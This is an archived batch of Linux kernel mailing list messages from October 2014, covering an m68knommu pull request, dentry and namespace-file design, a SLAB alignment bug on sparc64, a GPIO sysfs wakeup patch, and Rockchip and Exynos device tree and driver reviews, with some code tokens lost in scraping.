git://git.kernel.org/pub/scm/linux/kernel/git/gerg/m68knommu.git for-next
for you to fetch changes up to e803d4bd31184b301a54352bb2c1a3fa93f80154:
m68k: Fix typo 'COFNIG_MBAR' (2014-09-29 09:56:19 +1000)
Fabian Frederick (1):
m68k/coldfire: remove second asm/mcfclk.h inclusion in m54xx.c
Greg Ungerer (8):
m68k: move coldfire platform code
m68k: fix crufty ColdFire intro comments
m68k: move non-mmu 68000 platform code
m68k: move non-mmu 68360 platform code
m68k: remove the unused arch/m68k/platform directory
m68k: fix crufty 68000 and 68360 intro comments
m68knommu: fix size of address field for 5272 interrupt controller
m68knommu: add missing ioport_map() and ioport_unmap()
Paul Bolle (1):
m68k: Fix typo 'COFNIG_MBAR'
arch/m68k/{platform => }/68000/Makefile | 0
arch/m68k/{platform => }/68000/bootlogo-vz.h | 0
arch/m68k/{platform => }/68000/bootlogo.h | 0
arch/m68k/{platform => }/68000/entry.S| 2 +-
arch/m68k/{platform => }/68000/head.S | 0
arch/m68k/{platform => }/68000/ints.c | 0
arch/m68k/{platform => }/68000/m68328.c | 0
arch/m68k/{platform => }/68000/m68EZ328.c | 0
arch/m68k/{platform => }/68000/m68VZ328.c | 0
arch/m68k/{platform => }/68000/romvec.S | 0
arch/m68k/{platform => }/68000/timers.c | 0
arch/m68k/{platform => }/68360/Makefile | 2 +-
arch/m68k/{platform => }/68360/commproc.c | 0
arch/m68k/{platform => }/68360/config.c | 2 +-
arch/m68k/{platform => }/68360/entry.S| 2 +-
arch/m68k/{platform => }/68360/head-ram.S | 5 ++---
arch/m68k/{platform => }/68360/head-rom.S | 5 ++---
arch/m68k/{platform => }/68360/ints.c | 2 +-
arch/m68k/Makefile| 12 ++--
arch/m68k/{platform => }/coldfire/Makefile| 0
arch/m68k/{platform => }/coldfire/cache.c | 0
arch/m68k/{platform => }/coldfire/clk.c | 0
arch/m68k/{platform => }/coldfire/device.c| 0
arch/m68k/{platform => }/coldfire/dma.c | 0
arch/m68k/{platform => }/coldfire/dma_timer.c | 0
arch/m68k/{platform => }/coldfire/entry.S | 2 +-
arch/m68k/{platform => }/coldfire/firebee.c | 0
arch/m68k/{platform => }/coldfire/gpio.c | 0
arch/m68k/{platform => }/coldfire/head.S | 0
arch/m68k/{platform => }/coldfire/intc-2.c| 0
arch/m68k/{platform => }/coldfire/intc-5249.c | 0
arch/m68k/{platform => }/coldfire/intc-525x.c | 0
arch/m68k/{platform => }/coldfire/intc-5272.c | 2 +-
arch/m68k/{platform => }/coldfire/intc-simr.c | 0
arch/m68k/{platform => }/coldfire/intc.c | 0
arch/m68k/{platform => }/coldfire/m5206.c | 2 +-
arch/m68k/{platform => }/coldfire/m520x.c | 2 +-
arch/m68k/{platform => }/coldfire/m523x.c | 2 +-
arch/m68k/{platform => }/coldfire/m5249.c | 2 +-
arch/m68k/{platform => }/coldfire/m525x.c | 2 +-
arch/m68k/{platform => }/coldfire/m5272.c | 2 +-
arch/m68k/{platform => }/coldfire/m527x.c | 4 ++--
arch/m68k/{platform => }/coldfire/m528x.c | 2 +-
arch/m68k/{platform => }/coldfire/m5307.c | 2 +-
arch/m68k/{platform => }/coldfire/m53xx.c | 0
arch/m68k/{platform => }/coldfire/m5407.c | 2 +-
arch/m68k/{platform => }/coldfire/m5441x.c| 0
arch/m68k/{platform => }/coldfire/m54xx.c | 3 +--
arch/m68k/{platform => }/coldfire/mcf8390.c | 0
arch/m68k/{platform => }/coldfire/nettel.c| 0
arch/m68k/{platform => }/coldfire/pci.c | 0
arch/m68k/{platform => }/coldfire/pit.c | 0
arch/m68k/{platform => }/coldfire/reset.c | 0
arch/m68k/{platform => }/coldfire/sltimers.c | 0
arch/m68k/{platform => }/coldfire/timers.c| 0
arch/m68k/{platform => }/coldfire/vectors.c | 2 +-
arch/m68k/include/asm/io_no.h | 9 +
arch/m68k/include/asm/m54xxpci.h | 2 +-
arch/m68k/platform/Makefile | 3 ---
59 files changed, 40 insertions(+), 37 deletions(-)
rename arch/m68k/{platform => }/68000/Makefile (100%)
rename arch/m68k/{platform => }/68000/bootlogo-vz.h (100%)
rename arch/m68k/{platform => }/68000/bootlogo.h (100%)
rename arch/m68k/{platform => }/68000/entry.S (98%)
rename arch/m68k/{platform => }/68000/head.S (100%)
rename arch/m68k/{platform => }/68000/ints.c (100%)
rename arch/m68k/{platform => }/68000/m68328.c (100%)
rename
Re: [RFC] dealing with proc_ns_follow_link() and "namespace" dentries
On Mon, Oct 13, 2014 at 07:29:45AM +0100, Al Viro wrote: > there and get rid of pointless aliases. Oh, and we get a decent chance to > kill d_instantiate_unique(), which is also nice. Or at least fold it into > d_add_unique(), if we can't kill that sucker as well. And if we manage to > kill it outright, we get rid of __d_instantiate_unique() for free - in my > local queue d_materialise_unique() had been subsumed by d_splice_alias(), > getting rid of the other caller of __d_instantiate_unique(). We have *WAY* > too many primitives in that area, and trimming that forest is definitely > a good thing. FWIW, looking at that only caller of d_add_unique(), I really think that it's killable. Call graph for that sucker is d_add_unique() <- _nfs4_open_and_get_state <- _nfs4_do_open <- nfs4_do_open <- nfs4_atomic_open = nfs_rpc_ops.open_context <- nfs_atomic_open = inode_operations.atomic_open <- nfs4_file_open = file_operations.open <- nfs4_proc_create = nfs_rpc_ops.create <- nfs_creat = inode_operations.create Now, to have file_operations.open called, we need dentry to be pinned down and positive. In that case d_add_unique() isn't called, obviously. OTOH, inode_operations.create and inode_operations.atomic_open are called with parent directory having its ->i_mutex held and we have every right to just do d_splice_alias() in both cases. IOW, d_add_unique() can be simply killed, and with aforementioned change to fs/proc/namespaces.c we can kill d_instantiate_unique() and __d_instantiate_unique() along with it. OK, that drives the number of primitives further down... Actually, I suspect that a bunch of places calling d_add() in their ->lookup() instances should call d_splice_alias() instead - it won't cost more unless the inode happens to be a directory with existing aliases. And to hell with "we should use d_splice_alias() if it's exportable, no, make it d_materialise_unique() if tree topology might change unexpectedly, but if neither is true we can just use d_add() and return NULL" - it's too complicated for no good reason. "Always use d_splice_alias() in lookups" make a lot more sense... Oh, and I strongly suspect that d_instantiate() ought to be taught to act the same way wrt directory aliases (i.e. relocate if one is found). Which kills d_instantiate_no_diralias() (only one caller for that one) and closes very narrow nfsd races in ext2_mkdir() and friends... We really have too many primitives in that area; in the beginning it was just d_instantiate() for object creation (when dentry was already hashed) and d_add() for lookups (when dentry was hashed in addition to being tied to inode). It served well for local never-exported filesystems, but once we added knfsd (and then open-by-fhandle) the variants started to breed like rabbits. Filesystems with tree topology that might be silently changed behind our backs made it only worse... The real reason why we didn't just change d_add()/d_instantiate() behaviour back then was that in "the inode is a directory with existing aliases" case we need to go with another dentry (after moving it in place of ours), which changes the calling conventions. OTOH, in that case calling d_add() or d_instantiate() currently means a serious bug - we end up with multiple aliases for a directory, which should never happen. Hell knows, maybe it's feasible to change d_add() and d_instantiate() calling conventions and really fold all that shit back into them... -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: unaligned accesses in SLAB etc.
On Mon, Oct 13, 2014 at 08:04:16PM -0400, David Miller wrote:
> From: Joonsoo Kim
> Date: Tue, 14 Oct 2014 08:52:19 +0900
>
> > I'd like to know that your another problem is related to commit
> > bf0dea23a9c0 ("mm/slab: use percpu allocator for cpu cache"). So,
> > if the commit is reverted, your another problem is also gone
> > completely?
>
> The other problem has been present forever.
Okay.
Thanks for notifying me.
Thanks.
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: unaligned accesses in SLAB etc.
From: Joonsoo Kim
Date: Tue, 14 Oct 2014 08:52:19 +0900
> I'd like to know that your another problem is related to commit
> bf0dea23a9c0 ("mm/slab: use percpu allocator for cpu cache"). So,
> if the commit is reverted, your another problem is also gone
> completely?
The other problem has been present forever.
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
[PATCH v2] gpio: lib-sysfs: Add 'wakeup' attribute
Add an attribute 'wakeup' to the GPIO sysfs interface which allows
marking/unmarking a GPIO as wake IRQ.
The file 'wakeup' is created in each exported GPIOs directory, if an IRQ
is associated with that GPIO and the irqchip implements set_wake().
Writing 'enabled' to that file will enable wake for that GPIO, while
writing 'disabled' will disable wake.
Reading that file will return either 'disabled' or 'enabled' depening on
the currently set flag for the GPIO's IRQ.
Signed-off-by: Soren Brinkmann
Reviewed-by: Alexandre Courbot
---
v2:
- fix error path to unlock mutex before return
---
drivers/gpio/gpiolib-sysfs.c | 77
1 file changed, 71 insertions(+), 6 deletions(-)
diff --git a/drivers/gpio/gpiolib-sysfs.c b/drivers/gpio/gpiolib-sysfs.c
index 5f2150b619a7..7588b6d5ba94 100644
--- a/drivers/gpio/gpiolib-sysfs.c
+++ b/drivers/gpio/gpiolib-sysfs.c
@@ -286,6 +286,58 @@ found:
static DEVICE_ATTR(edge, 0644, gpio_edge_show, gpio_edge_store);
+static ssize_t gpio_wakeup_show(struct device *dev,
+ struct device_attribute *attr, char *buf)
+{
+ ssize_t status;
+ const struct gpio_desc *desc = dev_get_drvdata(dev);
+ int irq = gpiod_to_irq(desc);
+ struct irq_desc *irq_desc = irq_to_desc(irq);
+
+ mutex_lock(_lock);
+
+ if (irqd_is_wakeup_set(_desc->irq_data))
+ status = sprintf(buf, "enabled\n");
+ else
+ status = sprintf(buf, "disabled\n");
+
+ mutex_unlock(_lock);
+
+ return status;
+}
+
+static ssize_t gpio_wakeup_store(struct device *dev,
+ struct device_attribute *attr, const char *buf, size_t size)
+{
+ int ret;
+ unsigned inton;
+ struct gpio_desc*desc = dev_get_drvdata(dev);
+ int irq = gpiod_to_irq(desc);
+
+ mutex_lock(_lock);
+
+ if (sysfs_streq("enabled", buf)) {
+ on = true;
+ } else if (sysfs_streq("disabled", buf)) {
+ on = false;
+ } else {
+ mutex_unlock(_lock);
+ return -EINVAL;
+ }
+
+ ret = irq_set_irq_wake(irq, on);
+
+ mutex_unlock(_lock);
+
+ if (ret)
+ pr_warn("%s: failed to %s wake\n", __func__,
+ on ? "enable" : "disable");
+
+ return size;
+}
+
+static DEVICE_ATTR(wakeup, 0644, gpio_wakeup_show, gpio_wakeup_store);
+
static int sysfs_set_active_low(struct gpio_desc *desc, struct device *dev,
int value)
{
@@ -526,7 +578,7 @@ static struct class gpio_class = {
int gpiod_export(struct gpio_desc *desc, bool direction_may_change)
{
unsigned long flags;
- int status;
+ int status, irq;
const char *ioname = NULL;
struct device *dev;
int offset;
@@ -582,11 +634,24 @@ int gpiod_export(struct gpio_desc *desc, bool
direction_may_change)
goto fail_unregister_device;
}
- if (gpiod_to_irq(desc) >= 0 && (direction_may_change ||
- !test_bit(FLAG_IS_OUT, >flags))) {
- status = device_create_file(dev, _attr_edge);
- if (status)
- goto fail_unregister_device;
+ irq = gpiod_to_irq(desc);
+ if (irq >= 0) {
+ struct irq_desc *irq_desc = irq_to_desc(irq);
+ struct irq_chip *irqchip = irq_desc_get_chip(irq_desc);
+
+ if (direction_may_change ||
+ !test_bit(FLAG_IS_OUT, >flags)) {
+ status = device_create_file(dev, _attr_edge);
+ if (status)
+ goto fail_unregister_device;
+ }
+
+ if (irqchip->flags & IRQCHIP_SKIP_SET_WAKE ||
+ irqchip->irq_set_wake) {
+ status = device_create_file(dev, _attr_wakeup);
+ if (status)
+ goto fail_unregister_device;
+ }
}
set_bit(FLAG_EXPORT, >flags);
--
2.1.2.1.g5e69ed6
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: unaligned accesses in SLAB etc.
On Mon, Oct 13, 2014 at 11:22:37PM +0300, mr...@linux.ee wrote:
> > From: David Miller
> > Date: Sat, 11 Oct 2014 22:15:10 -0400 (EDT)
> >
> > >
> > > I'm getting tons of the following on sparc64:
> > >
> > > [603965.383447] Kernel unaligned access at TPC[546b58]
> > > free_block+0x98/0x1a0
> > > [603965.396987] Kernel unaligned access at TPC[546b60]
> > > free_block+0xa0/0x1a0
> > > [603965.410523] Kernel unaligned access at TPC[546b58]
> > > free_block+0x98/0x1a0
>
> > In all of the cases, the address is 4-byte aligned but not 8-byte
> > aligned. And they are vmalloc addresses.
> >
> > Which made me suspect the percpu commit:
> >
> >
> > commit bf0dea23a9c094ae869a88bb694fbe966671bf6d
> > Author: Joonsoo Kim
> > Date: Thu Oct 9 15:26:27 2014 -0700
> >
> > mm/slab: use percpu allocator for cpu cache
> >
> >
> > And indeed, reverting this commit fixes the problem.
>
> I tested Joonsoo Kim's fix and it gets rid of the kernel unaligned
> access messages, yes.
>
> But the instability on UltraSparc II era machines still remains -
> occassional Bus Errors during kernel compilation, messages like this:
>
> sh[11771]: segfault at ffd6a4d1 ip f7cc5714 (rpc f7cc562c) sp
> ffd69d90 error 30002 in libc-2.19.so[f7c44000+16a000]
Hello, Meelis.
Thanks for testing.
I'd like to know that your another problem is related to commit
bf0dea23a9c0 ("mm/slab: use percpu allocator for cpu cache").
So, if the commit is reverted, your another problem is also gone completely?
Thanks.
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH RESEND] gpio: lib-sysfs: Add 'wakeup' attribute
Hi Alexandre,
On Sat, 2014-10-11 at 01:54PM +0900, Alexandre Courbot wrote:
> On Fri, Sep 5, 2014 at 2:58 AM, Soren Brinkmann
> wrote:
> > Add an attribute 'wakeup' to the GPIO sysfs interface which allows
> > marking/unmarking a GPIO as wake IRQ.
> > The file 'wakeup' is created in each exported GPIOs directory, if an IRQ
> > is associated with that GPIO and the irqchip implements set_wake().
> > Writing 'enabled' to that file will enable wake for that GPIO, while
> > writing 'disabled' will disable wake.
> > Reading that file will return either 'disabled' or 'enabled' depening on
> > the currently set flag for the GPIO's IRQ.
> >
> > Signed-off-by: Soren Brinkmann
> > ---
> > Hi all,
> >
> > I originally submitted this patch with a few fixes for Zynq's GPIO driver
> > (https://lkml.org/lkml/2014/8/29/391). Since this change is not just
> > Zynq-related and has broader impact, Linus asked me to post this again,
> > separate
> > from the Zynq series.
> >
> > Let me just quote myself from the original submission:
> > "I'm still not fully convinced that the gpio_keys are the best
> > replacement for the sysfs interface when it comes to inputs. For that
> > reason and to have a way to do some quick wake testing, I'd like to
> > propose adding the ability to control wake through the sysfs interface
> > (patch 3)."
>
> I'm really sorry that I did not provide feedback sooner. This is the
> kind of area (IRQ) where I am not too confident and typically like to
> hear what Linus has to say first. But I also have a few questions that
> you could maybe answer for my own education. :)
>
> >
> > Thanks,
> > Sören
> >
> > drivers/gpio/gpiolib-sysfs.c | 75
> >
> > 1 file changed, 69 insertions(+), 6 deletions(-)
> >
> > diff --git a/drivers/gpio/gpiolib-sysfs.c b/drivers/gpio/gpiolib-sysfs.c
> > index 5f2150b619a7..aaf021eaaff5 100644
> > --- a/drivers/gpio/gpiolib-sysfs.c
> > +++ b/drivers/gpio/gpiolib-sysfs.c
> > @@ -286,6 +286,56 @@ found:
> >
> > static DEVICE_ATTR(edge, 0644, gpio_edge_show, gpio_edge_store);
> >
> > +static ssize_t gpio_wakeup_show(struct device *dev,
> > + struct device_attribute *attr, char *buf)
> > +{
> > + ssize_t status;
> > + const struct gpio_desc *desc = dev_get_drvdata(dev);
> > + int irq = gpiod_to_irq(desc);
> > + struct irq_desc *irq_desc = irq_to_desc(irq);
> > +
> > + mutex_lock(_lock);
> > +
> > + if (irqd_is_wakeup_set(_desc->irq_data))
> > + status = sprintf(buf, "enabled\n");
> > + else
> > + status = sprintf(buf, "disabled\n");
> > +
> > + mutex_unlock(_lock);
> > +
> > + return status;
> > +}
> > +
> > +static ssize_t gpio_wakeup_store(struct device *dev,
> > + struct device_attribute *attr, const char *buf, size_t size)
> > +{
> > + int ret;
> > + unsigned inton;
> > + struct gpio_desc*desc = dev_get_drvdata(dev);
> > + int irq = gpiod_to_irq(desc);
> > +
> > + mutex_lock(_lock);
> > +
> > + if (sysfs_streq("enabled", buf))
> > + on = true;
> > + else if (sysfs_streq("disabled", buf))
> > + on = false;
> > + else
> > + return -EINVAL;
>
> You forgot to release sysfs_lock before returning here.
Right, I will fix this and send a v2. Good catch.
>
> > +
> > + ret = irq_set_irq_wake(irq, on);
>
> Just wondering: is it always safe to set the wake property of an IRQ
> even if the direction of its associated GPIO is output? Does it make
> sense at all to have the "wakeup" attribute file visible if the GPIO
> is an output one?
>
> > +
> > + mutex_unlock(_lock);
> > +
> > + if (ret)
> > + pr_warn("%s: failed to %s wake\n", __func__,
> > + on ? "enable" : "disable");
> > +
> > + return size;
> > +}
> > +
> > +static DEVICE_ATTR(wakeup, 0644, gpio_wakeup_show, gpio_wakeup_store);
> > +
> > static int sysfs_set_active_low(struct gpio_desc *desc, struct device *dev,
> > int value)
> > {
> > @@ -526,7 +576,7 @@ static struct class gpio_class = {
> > int gpiod_export(struct gpio_desc *desc, bool direction_may_change)
> > {
> > unsigned long flags;
> > - int status;
> > + int status, irq;
> > const char *ioname = NULL;
> > struct device *dev;
> > int offset;
> > @@ -582,11 +632,24 @@ int gpiod_export(struct gpio_desc *desc, bool
> > direction_may_change)
> > goto fail_unregister_device;
> > }
> >
> > - if (gpiod_to_irq(desc) >= 0 && (direction_may_change ||
> > - !test_bit(FLAG_IS_OUT,
> > >flags))) {
>
Re: [PATCH] staging: dgap: re-arrange functions for removing forward declarations.
Hi, 2014-10-13 23:56 GMT+09:00 Joe Perches : > On Mon, 2014-10-13 at 17:01 +0900, DaeSeok Youn wrote: >> Hi, >> >> 2014-10-13 12:25 GMT+09:00 Greg KH : >> > On Mon, Oct 13, 2014 at 11:34:25AM +0900, Daeseok Youn wrote: >> >> Re-arrange the functions for removing forward declarations. >> >> >> >> Signed-off-by: Daeseok Youn >> >> --- >> >> This patch has too many changes for re-arranging the functions. >> >> So I wonder that I should break this up into smaller patches. >> > >> > Are the .o files identical before and after this patch? If so, it's >> > fine. >> Ok. I will check for that. > > The .o files shouldn't be identical after function reordering. > Is it possible to sort "objdump -d" output by function name? I'm not sure but it can be checked after sorting. I think greg want to know missing functions in this patch because this has many changes. thanks. regards, Daeseok Youn. -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] ARM: dts: rockchip: add I2S controllers for rk3066 and rk3188
Hi Julien,
Am Montag, 13. Oktober 2014, 15:51:04 schrieb Julien CHAUVEAU:
> Add the I2S/PCM controller nodes and pin controls for rk3066 and rk3188.
>
> Signed-off-by: Julien CHAUVEAU
> ---
> arch/arm/boot/dts/rk3066a.dtsi | 51
> ++ arch/arm/boot/dts/rk3188.dtsi |
> 16 +
> arch/arm/boot/dts/rk3xxx.dtsi | 39
> 3 files changed, 106 insertions(+)
>
> diff --git a/arch/arm/boot/dts/rk3066a.dtsi b/arch/arm/boot/dts/rk3066a.dtsi
> index ad9c2db..7c4cd86 100644
> --- a/arch/arm/boot/dts/rk3066a.dtsi
> +++ b/arch/arm/boot/dts/rk3066a.dtsi
> @@ -405,6 +405,42 @@
>_pull_default>;
> };
> };
> +
> + i2s0 {
> + i2s0_bus: i2s0-bus {
> + rockchip,pins = _pull_default>,
> + _pull_default>,
> + _pull_default>,
> + _pull_default>,
> + _pull_default>,
> + _pull_default>,
> + _pull_default>,
> + _pull_default>,
> + _pull_default>;
> + };
> + };
> +
> + i2s1 {
> + i2s1_bus: i2s1-bus {
> + rockchip,pins = _pull_default>,
> + _pull_default>,
> + _pull_default>,
> + _pull_default>,
> + _pull_default>,
> + _pull_default>;
> + };
> + };
> +
> + i2s2 {
> + i2s2_bus: i2s2-bus {
> + rockchip,pins = _pull_default>,
> + _pull_default>,
> + _pull_default>,
> + _pull_default>,
> + _pull_default>,
> + _pull_default>;
> + };
> + };
> };
> };
>
> @@ -473,6 +509,21 @@
> pinctrl-0 = <_clk _tx _rx _cs0>;
> };
>
> + {
> + pinctrl-names = "default";
> + pinctrl-0 = <_bus>;
> +};
> +
> + {
> + pinctrl-names = "default";
> + pinctrl-0 = <_bus>;
> +};
> +
> + {
> + pinctrl-names = "default";
> + pinctrl-0 = <_bus>;
> +};
> +
> {
> pinctrl-names = "default";
> pinctrl-0 = <_xfer>;
> diff --git a/arch/arm/boot/dts/rk3188.dtsi b/arch/arm/boot/dts/rk3188.dtsi
> index ddaada7..04ef487 100644
> --- a/arch/arm/boot/dts/rk3188.dtsi
> +++ b/arch/arm/boot/dts/rk3188.dtsi
> @@ -395,6 +395,17 @@
>_pull_none>;
> };
> };
> +
> + i2s1 {
> + i2s1_bus: i2s1-bus {
rk3188 only has one i2s controller, so this should be i2s0
> + rockchip,pins = _pull_none>,
> + _pull_none>,
> + _pull_none>,
> + _pull_none>,
> + _pull_none>,
> + _pull_none>;
> + };
> + };
> };
> };
>
> @@ -472,6 +483,11 @@
> pinctrl-0 = <_clk _tx _rx _cs0>;
> };
>
> + {
> + pinctrl-names = "default";
> + pinctrl-0 = <_bus>;
> +};
> +
> {
> pinctrl-names = "default";
> pinctrl-0 = <_xfer>;
> diff --git a/arch/arm/boot/dts/rk3xxx.dtsi b/arch/arm/boot/dts/rk3xxx.dtsi
> index 499468d..75b7982 100644
> --- a/arch/arm/boot/dts/rk3xxx.dtsi
> +++ b/arch/arm/boot/dts/rk3xxx.dtsi
> @@ -112,6 +112,45 @@
> <0x1013c100 0x0100>;
> };
>
> + i2s0: i2s@10118000 {
> + compatible = "rockchip,rk3066-i2s";
> + reg = <0x10118000 0x2000>;
> + interrupts = ;
> + #address-cells = <1>;
> + #size-cells = <0>;
> + dmas = <_s 4>, <_s 5>;
> + dma-names = "tx", "rx";
> + clock-names = "i2s_hclk", "i2s_clk";
> + clocks = < HCLK_I2S0>, < SCLK_I2S0>;
> + status = "disabled";
> + };
> +
> + i2s1: i2s@1011a000 {
> + compatible = "rockchip,rk3066-i2s";
> + reg = <0x1011a000 0x2000>;
> + interrupts = ;
> + #address-cells = <1>;
> + #size-cells = <0>;
> + dmas = <_s 6>, <_s 7>;
> +
Re: [PATCH v2 1/4] dwc3: exynos: Add support for SCLK present on Exynos7
Hi Anton, On 13.10.2014 06:54, Anton Tikhomirov wrote: > Hi Vivek, > >> Exynos7 also has a separate special gate clock going to the IP >> apart from the usual AHB clock. So add support for the same. > > As we discussed before, Exynos7 SoCs have 7 clocks to be controlled > by the driver. Adding only sclk is not enough. > I'm quite interested in this discussion. Has it happened on mailing lists? In general, previous SoCs also gave the possibility of controlling all the bus clocks separately, in addition to bulk gates, but there was no real advantage in using those, while burdening the clock tree with numerous clocks. Isn't Exynos7 similar in this aspect? Best regards, Tomasz -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH v2 1/4] dwc3: exynos: Add support for SCLK present on Exynos7
Hi,
On Mon, Oct 13, 2014 at 01:54:59PM +0900, Anton Tikhomirov wrote:
> Hi Vivek,
>
> > Exynos7 also has a separate special gate clock going to the IP
> > apart from the usual AHB clock. So add support for the same.
>
> As we discussed before, Exynos7 SoCs have 7 clocks to be controlled
> by the driver. Adding only sclk is not enough.
>
> >
> > Signed-off-by: Vivek Gautam
> > ---
> > drivers/usb/dwc3/dwc3-exynos.c | 16
> > 1 file changed, 16 insertions(+)
> >
> > diff --git a/drivers/usb/dwc3/dwc3-exynos.c b/drivers/usb/dwc3/dwc3-
> > exynos.c
> > index 3951a65..7dc6a98 100644
> > --- a/drivers/usb/dwc3/dwc3-exynos.c
> > +++ b/drivers/usb/dwc3/dwc3-exynos.c
> > @@ -35,6 +35,7 @@ struct dwc3_exynos {
> > struct device *dev;
> >
> > struct clk *clk;
>
> The clock "clk" in Exynos5 just gated all that above 7 clocks, which
> we should control separately now in Exynos7.
>
should I drop this patch for now ?
--
balbi
signature.asc
Description: Digital signature
Re: [RFC] dealing with proc_ns_follow_link() and "namespace" dentries
Al Viro writes:
> But more fundamentally, this stuff has no business being in procfs. The
> *only* reason why we are putting them there (and get those inodes and
> dentries duplicated for different procfs instances) is this in
> do_loopback():
> if (!check_mnt(parent) || !check_mnt(old))
> goto out2;
> You want to be able to bind those suckers by mount --bind. Which is an
> odd API design (and it gives you another headache from hell with
> mnt_ns_loop())
> but it's too late to change, sadly ;-/ So you want ->follow_link() to
> yield dentries matching some vfsmount in our namespace. The things would be
> much simpler if we didn't try that.
>
> Look: do_loopback() is *already* aware of those suckers. Has to be, due to
> aforementioned mnt_ns_loop(). So we might as well weaken the constraints on
> old - check_mnt(old) || proc_ns_inode(old_path.dentry->d_inode) would do.
> The thing is, we calculate that proc_ns_inode() anyway.
Truthfully mnt_ns_loop only exists for because we have these for the
mount namespace. But I take your point.
Your proposal sounds like it should work. After the bind mount is
created we have a new struct mount so the existing chk_mnt checks won't
get us into trouble.
At some point we may need to allow multiple internal superblocks to
allow having a preset inode number for the purposes of
checkpoint/restart but I don't see that being a bottleneck to process
migration anytime in the near future, and your design does not preclude
that possibility.
There was a potential issue with your earlier suggestion to modify
check_mnt to only include mounted filesystems as otherwise there is an
issue with references to filesystems unmounted with MNT_DETACH being
able to be bind mounted. Having an explicit proc_ns_inode test avoids
those issues.
> Now, suppose we'd done that. In principle, it allows some things that are
> not allowed right now - you could open such file and pass it (via SCM_RIGHTS)
> to a process in another namespace. With the current tree you can't bind
> that bugger via /proc/self/fd/ - it will have alien vfsmount. After such
> change it will become allowed. Is there any problem with that? I don't see
> any (after all, recepient might have held it open and anyone who could
> get to that sucker via /proc//fd/ could've simply stopped the
> recepient
> and made it pass the damn thing to them - being able to ptrace is enough
> for that). Am I missing anything?
The only thing you can't do with a passed file descriptor today is to
mount it. Everything else is already doable in any context, and all
mounting does is give you the ability to keep the namespace alive.
Something you can already do by just keeping the file descriptor open.
These filedescriptors are guarded by directory permissions so if
/proc//fd had more open permissions I might be concerned, but
as it stands only the user of the process possesors of the appropriate
capability can access that directory.
So I really think we are good. Thank you for making such a careful
analysis.
> *IF* we can get away with such change, everything becomes much easier. We
> can add a filesystem just for those guys - one for the entire system. And
> kern_mount() it. Don't bother with register_filesystem() - no point showing
> it in the /proc/filesystems, etc. No need to abuse procfs inodes either.
> Or procfs icache, for that matter. All we need is a small standard piece
> embedded into each {mnt,net,pid,user,...}ns.
>
> Namely, let's stash a pointer to such dentry (if any) into that standard
> piece.
> Not a counting reference, of course, and used in a very limited way.
> * have ->d_prune() for those guys replace the stashed pointer with NULL.
> * on the "get dentry for ns" side,
> again:
> rcu_read_lock()
> d = atomic_long_read(stashed pointer)
> if (!d)
> goto slow;
> if (!lockref_get_not_dead(>d_lockref))
> goto slow;
> rcu_read_unlock();
> return d;
> slow:
> rcu_read_unlock();
> allocate new inode
> allocate new dentry
> d_instantiate()
> d = atomic_long_cmpxchg(stashed pointer, NULL, new dentry);
> if (d) {
> dput(new dentry);
> cpu_relax();// might not be needed
> goto again;
> }
> return new dentry;
> I'd suggest having ->i_private point to that standard piece and storing
> ns_ops and proc_inum in there.
I think it is a shame that we don't have an equivalent of
d_materialise_unique that does thoe whole d_find_alias logic
non-directories. Sigh. But what should drive which functions to keep
are the real and needs of filesystems not my weird namespace case.
>From looking at your proposed code that doesn't look like it will be
any more difficult to
Re: [PATCH v3 3/3] ARM: dts: rk3288: add VOP iommu nodes
Hi Daniel,
Am Samstag, 11. Oktober 2014, 02:30:48 schrieb Daniel Kurtz:
> Add device nodes for the VOP iommus.
> Device nodes for other iommus will be added in later patches.
>
> The iommu nodes use the #iommu-cells property as described in:
> Documentation/devicetree/bindings/iommu/iommu.txt
>
> Signed-off-by: Daniel Kurtz
> Signed-off-by: Simon Xue
> ---
> arch/arm/boot/dts/rk3288.dtsi | 18 ++
> 1 file changed, 18 insertions(+)
>
> diff --git a/arch/arm/boot/dts/rk3288.dtsi b/arch/arm/boot/dts/rk3288.dtsi
> index 5950b0a..cbc92fa 100644
> --- a/arch/arm/boot/dts/rk3288.dtsi
> +++ b/arch/arm/boot/dts/rk3288.dtsi
> @@ -271,6 +271,24 @@
> status = "disabled";
> };
>
> + vopb_mmu: iommu@0xff930300 {
please use the address without the 0x here ... iommu@ff930300
Thanks
Heiko
> + compatible = "rockchip,iommu";
> + reg = <0xff930300 0x100>;
> + interrupts = ;
> + interrupt-names = "vopb_mmu";
> + #iommu-cells = <0>;
> + status = "disabled";
> + };
> +
> + vopl_mmu: iommu@0xff940300 {
> + compatible = "rockchip,iommu";
> + reg = <0xff940300 0x100>;
> + interrupts = ;
> + interrupt-names = "vopl_mmu";
> + #iommu-cells = <0>;
> + status = "disabled";
> + };
> +
> gic: interrupt-controller@ffc01000 {
> compatible = "arm,gic-400";
> interrupt-controller;
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
[PATCH 3/4] hda_intel: Add Device IDs for Intel Sunrise Point PCH
This patch adds the HD Audio Device IDs for the Intel Sunrise Point PCH.
Signed-off-by: James Ralston
---
sound/pci/hda/hda_intel.c | 4
1 file changed, 4 insertions(+)
